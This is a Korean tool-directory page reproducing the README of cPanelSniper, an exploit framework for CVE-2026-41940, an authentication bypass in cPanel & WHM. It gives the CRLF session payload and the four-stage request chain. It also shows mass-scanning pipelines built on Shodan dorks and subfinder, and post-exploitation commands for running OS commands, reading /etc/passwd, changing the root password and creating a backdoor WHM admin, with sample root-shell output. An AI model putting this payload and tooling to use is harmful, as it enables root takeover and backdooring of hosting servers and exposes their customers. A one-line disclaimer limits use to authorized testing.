Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
cpsniper — cPanelSniper STABLE - 1,000만 개 이상의 대상에 최적화된 CVE-2026-41940 | Kitploit
도구/GitHubGitHub/44pie/cpsniper
Authentication & AuthorizationVulnerability ScannersExploitationWeb Application ExploitationPost-ExploitationPenetration TestingCommand and ControlRed Teaming
GitHub44pie/cpsniper

cpsniper

cPanelSniper STABLE - 1,000만 개 이상의 대상에 최적화된 CVE-2026-41940

저장소 보기
23개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

cPanelSniper

cPanelSniper

Python CVE cPanel stdlib pipeline Author

CVE-2026-41940 — cPanel & WHM 세션 파일 CRLF 주입을 통한 인증 우회
4단계 익스플로잇 체인 · 대화형 WHM 셸 · 1,000만+ 대상에 대해 TRUE STABLE · 메모리 사용량 0 · stdlib만 사용


개요

cPanelSniper는 cPanel & WHM에 영향을 미치는 치명적인 인증 우회 취약점인 CVE-2026-41940을 대상으로 하는 특화된 익스플로잇 프레임워크입니다. 이 취약점은 인증되지 않은 원격 공격자가 유효한 자격 증명 없이 Authorization HTTP 헤더를 통해 세션 파일에 CRLF 시퀀스를 주입하여 루트 수준의 WHM 액세스 권한을 얻을 수 있게 합니다.

  • CVSS 점수: 10.0 (치명적)
  • 실제 악용: 확인됨 (2026년 4월)
  • 영향을 받는 설치: cPanel & WHM을 실행하는 약 7천만 개 도메인
  • 의존성 없음: 순수 Python stdlib — pip, requests, 외부 패키지 불필요

승인된 침투 테스트 및 버그 바운티 프로그램 전용입니다.


⚡ TRUE STABLE 버전

이 버전은 메모리 사용량 0으로 10,000,000개 이상의 대상을 스캔하도록 최적화되었습니다.

수정된 사항

주요 기능

  • 스트리밍 아키텍처 - 메모리에 로드하지 않고 1,000만+ 대상 처리
  • OOM 크래시 없음 - 매우 큰 대상 목록에서도 안전
  • 자동 재개 - --resume으로 중단된 지점부터 계속
  • 실시간 진행 상황 - ETA, 스캔 속도, 오류 추적
  • 주기적 저장 - 데이터 손실 방지를 위한 자동 저장
  • 파이프라인 지원 - subfinder, httpx, shodan과 완벽하게 연동

작동 원리

근본 원인은 Session.pm에 있습니다. saveSession() 함수는 세션 파일을 디스크에 쓴 후에 filter_sessiondata()를 호출합니다. 즉, Authorization: Basic 헤더 값에 포함된 CRLF 문자가 세션 파일에 그대로 기록되어, 삭제(새니타이즈)가 발생하기 전에 공격자가 제어하는 필드가 주입됩니다.

root@kitploit:~
정상 흐름:
  POST /login/ → filter_sessiondata() → 세션 쓰기 → 인증 확인

취약한 흐름:
  POST /login/ → 세션 쓰기 (CRLF 페이로드 주입) → filter_sessiondata() → 인증 확인이 오염된 파일을 읽음

CRLF 페이로드

Authorization: Basic 값은 다음과 같이 디코딩됩니다:

root@kitploit:~
root:x
successful_internal_auth_with_timestamp=9999999999
user=root
tfa_verified=1
hasroot=1

이 필드들은 디스크의 세션 파일에 직접 기록됩니다. 다시 읽을 때 cPanel은 이 세션을 완전히 인증된 루트 세션으로 처리합니다.

4단계 익스플로잇 체인

root@kitploit:~
┌─────────────────────────────────────────────────────────────┐
│  단계 0 — 표준 호스트명 발견                                 │
│  GET /openid_connect/cpanelid → 307 → 실제 호스트명          │
├─────────────────────────────────────────────────────────────┤
│  단계 1 — 사전 인증 세션 생성                                │
│  POST /login/?login_only=1  (잘못된 자격 증명)               │
│  ← 401 + whostmgrsession 쿠키                                │
├─────────────────────────────────────────────────────────────┤
│  단계 2 — CRLF 주입                                         │
│  GET / + Cookie: session + Authorization: Basic <payload>   │
│  cpsrvd가 CRLF 필드를 세션 파일에 기록                       │
│  ← 307 Location: /cpsessXXXXXXXXXX/...                     │
├─────────────────────────────────────────────────────────────┤
│  단계 3 — 전파 (do_token_denied 가젯)                       │
│  GET /scripts2/listaccts                                    │
│  raw→cache 플러시 트리거 — 주입된 필드가 활성화됨            │
│  ← 401 Token denied (예상됨)                                │
├─────────────────────────────────────────────────────────────┤
│  단계 4 — WHM 루트 액세스 확인                              │
│  GET /cpsessXXXXXXXXXX/json-api/version                     │
│  ← 200 {"version":"11.x.x.x","result":1}  = PWNED          │
└─────────────────────────────────────────────────────────────┘

영향을 받는 버전


설치

root@kitploit:~
git clone https://github.com/44pie/cpsniper
cd cpsniper
python3 cPanelSniper.py --help

pip 설치가 필요 없습니다. 순수 Python 3.8+ stdlib만 사용합니다.


사용법

기본 스캔

root@kitploit:~
# 단일 대상 — 스캔만
python3 cPanelSniper.py -u https://target.com:2087

# 단일 대상 — 우회 후 대화형 셸
python3 cPanelSniper.py -u https://target.com:2087 --action shell

# 대규모 대상 목록 — 1,000만+ 대상 (TRUE STABLE)
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json

# 중단된 스캔 재개
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume

익스플로잇 후 작업

root@kitploit:~
# 서버의 모든 cPanel 계정 나열
python3 cPanelSniper.py -u https://target.com:2087 --action list

# OS 명령 실행
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "id;whoami;uname -a"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "ls /home"
python3 cPanelSniper.py -u https://target.com:2087 --action cmd --cmd "cat /etc/passwd"

# 서버 정보 가져오기 (호스트명, 부하, 디스크, MySQL 호스트)
python3 cPanelSniper.py -u https://target.com:2087 --action info

# cPanel 버전 가져오기
python3 cPanelSniper.py -u https://target.com:2087 --action version

# 루트 비밀번호 변경
python3 cPanelSniper.py -u https://target.com:2087 --action passwd --passwd 'NewPass@2026!'

# 대화형 WHM 셸
python3 cPanelSniper.py -u https://target.com:2087 --action shell

파이프라인 (대규모 목록에 대해 TRUE STABLE)

root@kitploit:~
# subfinder → httpx → 파일로 저장 → 1,000만+ 대상 스캔
subfinder -d target.com -silent | \
  httpx -silent -ports 2087,2086 -threads 50 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json

# 범위 목록에서 - 수백만 도메인 처리
cat scope.txt | \
  httpx -silent -ports 2087,2086 -threads 100 > targets.txt
python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume

# Shodan 결과 - 대규모 스캔
shodan search --fields ip_str,port 'title:"WHM Login"' | \
  awk '{print "https://"$1":"$2}' > targets.txt
python3 cPanelSniper.py -l targets.txt -t 30 -o shodan_results.json

# stdin 파이프 - 소규모 목록 전용 (<100K)
echo "https://target.com:2087" | python3 cPanelSniper.py

# 여러 소스 결합 → 대규모 스캔
{ subfinder -d target.com -silent; cat extra.txt; } | \
  httpx -silent -ports 2087 > all_targets.txt
python3 cPanelSniper.py -l all_targets.txt -t 50 -o results.json --resume

TRUE STABLE 모범 사례

1,000만+ 대상 스캔 시:

  1. 항상 먼저 파일로 저장 - 대규모 목록은 직접 파이프하지 마세요

    root@kitploit:~
    # 좋음 - 1,000만+ 대상에서 작동
    httpx ... > targets.txt
    python3 cPanelSniper.py -l targets.txt -t 50 -o results.json
    
    # 나쁨 - 대규모 목록에서 크래시 발생
    httpx ... | python3 cPanelSniper.py
    
  2. 적절한 스레드 수 사용

    • 10-20 스레드: 100K 대상
    • 30-50 스레드: 1M-10M 대상
    • 50-100 스레드: 1,000만+ 대상
  3. 장기 스캔에는 자동 재개 활성화

    root@kitploit:~
    python3 cPanelSniper.py -l targets.txt -t 50 -o results.json --resume
    

    중단된 경우 --resume로 다시 실행하기만 하면 됩니다

  4. 진행 상황 모니터링

    • 실시간 ETA 표시
    • 결과는 60초마다 저장
    • Ctrl+C로 모든 발견 사항 보존

대화형 WHM 셸

우회에 성공하면 --action shell 플래그가 대화형 프롬프트로 전환됩니다:

root@kitploit:~
════════════════════════════════════════════════════════════
  WHM Shell — target.com
  Version: CVE-2026-41940 | Auth: CRLF bypass
  Type 'help' for commands, 'exit' to quit
════════════════════════════════════════════════════════════

[email protected] ▶ id
  uid=0(root) gid=0(root) groups=0(root)

[email protected] ▶ accounts
  [cPanel Accounts]  target.com:2087 (47 users)
    user01               domain: example.com    email: [email protected]
    user02               domain: shop.com       email: [email protected]
    ...

[email protected] ▶ cat /etc/passwd
  root:x:0:0:root:/root:/bin/bash
  daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
  ...

[email protected] ▶ info
  [Server Info]  https://target.com:2087
  hostname: srv01.target.com
  load: 0.72 / 0.66 / 0.69
  version: 11.130.0.6

[email protected] ▶ addadmin mitsec P@ss2026!
  [BACKDOOR ADMIN CREATED]
  Target   : https://target.com:2087
  Username : mitsec
  Password : P@ss2026!
  Profile  : super_admin

[email protected] ▶ exit

셸 명령어


CLI 참조

root@kitploit:~
usage: cPanelSniper.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
                       [-t THREADS] [--timeout TIMEOUT] [--resume]
                       [-o OUTPUT] [--no-color] [--save-interval N]

Target:
  -u, --url URL          단일 대상 URL (예: https://host:2087)
  -l, --list LIST        URL이 포함된 파일 (한 줄에 하나)
  --hostname HOSTNAME    표준 Host 헤더 재정의 (자동 발견됨)

Scan:
  -t, --threads N        동시 스레드 수 (기본값: 20)
  --timeout N            요청 시간 초과 (기본값: 15)
  --resume               이전 스캔에서 재개 (처리된 대상 건너뛰기)

Output:
  -o, --output FILE      결과를 JSON 파일로 저장
  --no-color             ANSI 색상 비활성화
  --save-interval N      N초마다 결과 저장 (기본값: 60)

Shodan Dorks

root@kitploit:~
title:"WHM Login"
title:"WebHost Manager" port:2087
product:"cPanel" port:2087
http.title:"cPanel" port:2083
ssl.cert.subject.cn:"cPanel" port:2087

출력 예시

root@kitploit:~
   ██████╗██████╗  █████╗ ███╗  ██╗███████╗██╗
  ██╔════╝██╔══██╗██╔══██╗████╗ ██║██╔════╝██║
  ...

  CVE-2026-41940 — cPanel & WHM Auth Bypass via CRLF Injection
  4-stage: preauth → CRLF inject → propagate → verify → post-exploit
  In-The-Wild | CVSS 10.0 | By Mitsec (@ynsmroztas)

  Configuration:
   Targets  : 1
   Threads  : 10
   Timeout  : 15s
   Action   : list

14:46:22 [SCAN] 4단계 익스플로잇 체인 시작... https://target.com:2087
14:46:23 [INFO] 표준 호스트명 발견: srv01.target.com
14:46:23 [STEP] 1/4단계 — 사전 인증 세션 생성 중...
14:46:23 [  OK] 1단계: 사전 인증 세션 = :QFB4o8XENBqlr6U1...
14:46:23 [STEP] 2/4단계 — Authorization 헤더를 통한 CRLF 주입...
14:46:24 [  OK] 2단계: HTTP 307 → token=/cpsess8493537756
14:46:24 [STEP] 3/4단계 — do_token_denied 가젯 실행 (raw→cache)...
14:46:25 [  OK] 3단계: HTTP 401 — do_token_denied 가젯 실행됨
14:46:25 [STEP] 4/4단계 — WHM 루트 액세스 확인 중...
14:46:26 [PWND] CVE-2026-41940 확인됨 — WHM 루트 액세스!
14:46:26 [PWND]   Token    : /cpsess8493537756
14:46:26 [PWND]   Version  : 11.130.0.6
14:46:26 [PWND]   API URL  : https://target.com:2087/cpsess8493537756/json-api/version
14:46:26 [ API] 익스플로잇 후 작업 실행: list
14:46:27 [ API] listaccts → HTTP 200

  [cPanel Accounts]  target.com:2087 (47 accounts)
    client01    domain: client01.com    email: [email protected]
    client02    domain: client02.net    email: [email protected]
    ...

══════════════════════════════════════════════════════════════════════
  cPanelSniper — 스캔 완료
  Time: 5.8s  ·  Targets: 1

  ⚡ 1 VULNERABLE TARGET(S)

  Target   : https://target.com:2087
  Version  : 11.130.0.6
  Token    : /cpsess8493537756
  API URL  : https://target.com:2087/cpsess8493537756/json-api/version
══════════════════════════════════════════════════════════════════════

기술적 세부 사항

세션 파일 주입

주입된 Authorization: Basic 값(base64 디코딩)에는 cPanel 세션 파일에서 줄바꿈이 되는 CRLF 시퀀스가 포함되어 있습니다:

root@kitploit:~
root:x\r\n
successful_internal_auth_with_timestamp=9999999999\r\n
user=root\r\n
tfa_verified=1\r\n
hasroot=1

cPanel의 세션 리더는 이를 합법적인 세션 필드로 구문 분석하여 전체 루트 WHM 액세스 권한을 부여합니다.

3단계 — do_token_denied 가젯

중요하고 종종 간과되는 단계: CRLF 주입(2단계) 후, 오염된 세션 데이터는 원시 세션 파일에만 존재합니다. /scripts2/listaccts에 대한 요청은 내부 do_token_denied 핸들러를 트리거하여 원시 세션 데이터를 세션 캐시로 플러시합니다. 이 플러시가 없으면 4단계는 403을 반환합니다.

세션 토큰 추출

root@kitploit:~
Set-Cookie: whostmgrsession=%3aSESSION_NAME%2cOB_HEX; ...
                              ^              ^
                              |              +-- ob 해시 (제거됨)
                              +-- 세션 이름 (주입에 사용됨)

세션 이름(%2C 앞부분)이 추출되어 후속 요청의 쿠키 값으로 사용됩니다.


참고 자료

  • watchTowr Labs — CVE-2026-41940 기술 분석
  • cPanel 보안 권고
  • NVD — CVE-2026-41940
  • Hadrian 블로그 — CVE-2026-41940 분석
  • Nuclei 템플릿 — CVE-2026-41940

면책 조항

이 도구는 승인된 보안 테스트 및 버그 바운티 프로그램 전용입니다. 컴퓨터 시스템에 대한 무단 액세스는 불법입니다. 저자는 어떠한 책임도 지지 않으며 이 도구로 인한 오용이나 손해에 대해 책임을 지지 않습니다. 테스트 전에 항상 적절한 서면 승인을 받으십시오.


작성자

Mitsec — @ynsmroztas

  • 🏆 Top Hacker — Intigriti
  • 🐛 2,430개 이상의 취약점 공개
  • 💀 1,100개 이상의 P1 치명적 발견
  • 🏅 100개 이상의 명예의 전당 인정

Made with ❤️ by @ynsmroztas

도구 다운로드
문제기존 버전수정 버전
메모리 사용량모든 대상을 RAM에 로드대상을 한 줄씩 스트리밍 (메모리 0)
1,000만 대상OOM → 종료 ❌성공적으로 완료 ✅
재개지원 안 함--resume 플래그
진행 상황ETA 없음실시간 ETA + 속도 + 통계
결과종료 시에만 저장60초마다 저장 (구성 가능)
브랜치취약한 버전패치 버전
110.x≤ 11.110.0.9611.110.0.97
118.x≤ 11.118.0.6211.118.0.63
126.x≤ 11.126.0.5311.126.0.54
132.x≤ 11.132.0.2811.132.0.29
134.x≤ 11.134.0.1911.134.0.20
136.x≤ 11.136.0.411.136.0.5
명령어설명
id / whoamiUID 및 호스트명 표시
hostname서버 호스트명 가져오기
versioncPanel 버전 정보
info부하, 디스크, MySQL 호스트, 버전
accounts모든 cPanel 사용자 계정 나열
cat <path>파일 내용 읽기
ls [path]디렉터리 나열
exec <cmd>OS 명령 실행
addadmin <user> <pass>백도어 WHM 관리자 생성
passwd <pass>루트 비밀번호 변경
api <endpoint> [k=v ...]원시 WHM JSON API 호출
help모든 명령어 표시
exit셸 종료